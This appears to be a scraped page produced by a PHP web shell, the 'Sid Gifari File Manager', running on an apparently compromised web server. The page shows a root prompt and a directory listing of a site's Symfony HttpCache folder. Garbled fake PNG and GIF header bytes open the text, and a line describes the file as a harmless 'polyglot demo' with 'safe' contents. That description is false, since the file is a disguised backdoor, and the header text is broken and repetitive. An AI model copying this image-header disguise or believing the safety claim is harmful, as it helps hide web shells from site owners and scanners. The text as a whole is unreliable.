$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-12

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / backfron.com / vendor / symfony / http-kernel / HttpCache /
root@Sid-Gifari:/home/forge/backfron.com/vendor/symfony/http-kernel/HttpCache$


NameSizePermAction
📄 AbstractSurrogate.php 4753 bytes
📄 Esi.php 3315 bytes
📄 HttpCache.php 27490 bytes
📄 ResponseCacheStrategy.php 9274 bytes
📄 ResponseCacheStrategyInterface.php 1055 bytes
📄 Ssi.php 2589 bytes
📄 Store.php 14706 bytes
📄 StoreInterface.php 2228 bytes
📄 SubRequestHandler.php 3921 bytes
📄 SurrogateInterface.php 2158 bytes